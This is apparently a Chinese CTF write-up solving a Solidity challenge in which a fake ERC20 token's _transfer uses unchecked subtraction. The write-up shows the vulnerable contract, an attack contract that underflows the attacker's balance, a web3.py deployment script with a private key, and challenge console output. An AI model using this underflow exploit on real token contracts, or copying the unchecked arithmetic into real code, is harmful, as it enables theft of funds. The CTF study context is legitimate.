erc20_fake.sol
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338 |
//SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.6.6;abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; }}interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value );}library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }}contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool){ _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256){ return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool){ _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool){ _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool){ _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }}contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }}contract FishmenToken is ERC20("FishmenToken", "FMT"), Ownable { function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } function burn(address _from, uint256 _amount) public { _burn(_from, _amount); }} |
deployer.sol
123456789101112131415161718192021 |
pragma solidity ^0.6.6;import "./erc20_fake.sol";contract deployer { FishmenToken public fishmenToken; bool public isSvd; constructor() public { fishmenToken = new FishmenToken(); } function solve() public returns (bool) { require(fishmenToken.balanceOf(msg.sender) > 100,"token balance < 100"); isSvd = true; } function isSolved() public view returns (bool) { return isSvd; }} |
合约看着很长,搞了一个fishmantoken,但其实漏洞很简单,看到erc20_fake.sol里,虽然用了所谓的safemath,但是注意到合约ERC20里的_transfer函数,
1234567891011 |
function _transfer( address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount);} |
做transfer的时候他还是用了减号,那依然会造成下溢,【想要用到safemath的功能,这里得用sub】
所以这里我们可以部署一个 attack合约,然后用这个合约调用transfer随便往哪里赚钱,那么他自己的账户的钱就会下溢而变得很多。
攻击合约
12345678910111213141516171819 |
//SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.6.6;import "./erc20_fake.sol";import "./deployer.sol";contract attack{ address public challenge_addr=0x52936ec23b51C2137F4B68aBECe07246bae05B1f; // nc过去,部署的题目(deployer合约)地址 bool public flag; deployer challenge=deployer(challenge_addr); address public fishToken_addr=address(challenge.fishmenToken()); // 获取deployer部署的FishmenToken地址 FishmenToken fishtoken=FishmenToken(fishToken_addr); // FishmenToken合约的实例 constructor() public{ fishtoken.transfer(challenge_addr,999); // FishmenToken里攻击合约账户往题目账户(别的啥payable的账户都行)随便转点钱 flag=challenge.solve(); // 调用一下solve完成解题 }} |
解题步骤
和远程交互,建立一个部署题目的账户,
1234567 |
[1] - Create an account which will be used to deploy the challenge contract[2] - Deploy the challenge contract using your generated account[3] - Get your flag once you meet the requirement[4] - Show the contract source code[-] input your choice: 1[+] deployer account: 0xe0Bd3B690dbB74c46d88DaFFE93ed803aEeDC1E2[+] token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A |
然后去8080端口,有水管,往这个账户搞点eth
部署题目
12345678 |
[1] - Create an account which will be used to deploy the challenge contract[2] - Deploy the challenge contract using your generated account[3] - Get your flag once you meet the requirement[4] - Show the contract source code[-] input your choice: 2[-] input your token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A[+] contract address: 0x52936ec23b51C2137F4B68aBECe07246bae05B1f[+] transaction hash: 0xaa10dc803284aa06242d6bff71da8134ac4a6a55dadbfe2a5f062e059f7ef2ae |
好了,我们还得再自己建立一个部署攻击合约的账户,这里不能通过交互建立账户,他都不给你私钥,这里的用脚本交互去创建一个账户
123456 |
from web3 import Web3,HTTPProviderfrom Crypto.Util.number import *w3=Web3(HTTPProvider("http://47.102.47.140:8545/"))key=w3.eth.account.create()print(hex(bytes_to_long(key.privateKey)))account= web3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134') |
然后还是,去水管往这个账户打点钱。
接下来我用remix去编译一下攻击合约,拿到他的字节码。或者也可以部署【注意到,这里肯定是部署失败的,但是我们主要想要他的bytecode】
然后我们继续用脚本,在这条私链上部署攻击合约
1234567891011121314151617 |
def deploy(rawTx): signedTx = w3.eth.account.signTransaction(rawTx, private_key=account.privateKey) hashTx = w3.eth.sendRawTransaction(signedTx.rawTransaction).hex() receipt = w3.eth.waitForTransactionReceipt(hashTx) return receiptif __name__ == '__main__': rawTx = { 'from': account.address, 'nonce': w3.eth.getTransactionCount(account.address), 'gasPrice': w3.toWei(1,'gwei'), 'gas': 300000, 'value': w3.toWei(0, 'ether'), 'data': '0x60806040527352936ec23b51c2137f4b68abece07246bae05b1f6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634fd0632f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561012157600080fd5b505afa158015610135573d6000803e3d6000fd5b505050506040513d602081101561014b57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561020b57600080fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e76040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102c157600080fd5b505af11580156102d5573d6000803e3d6000fd5b505050506040513d60208110156102eb57600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663890d69086040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561036757600080fd5b505af115801561037b573d6000803e3d6000fd5b505050506040513d602081101561039157600080fd5b8101908080519060200190929190505050600060146101000a81548160ff021916908315150217905550610161806103ca6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80636391e9b214610046578063890eba681461007a578063ba2740831461009a575b600080fd5b61004e6100ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100826100f4565b60405180821515815260200191505060405180910390f35b6100a2610107565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea26469706673582212207ec90564a59b7a55e8597b62d3533f1080a42eaeda42d4d65975915f883fac8a64736f6c634300060c0033', "chainId": 1211 } receipt = deploy(rawTx) |
然后交互去拿flag就好了。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论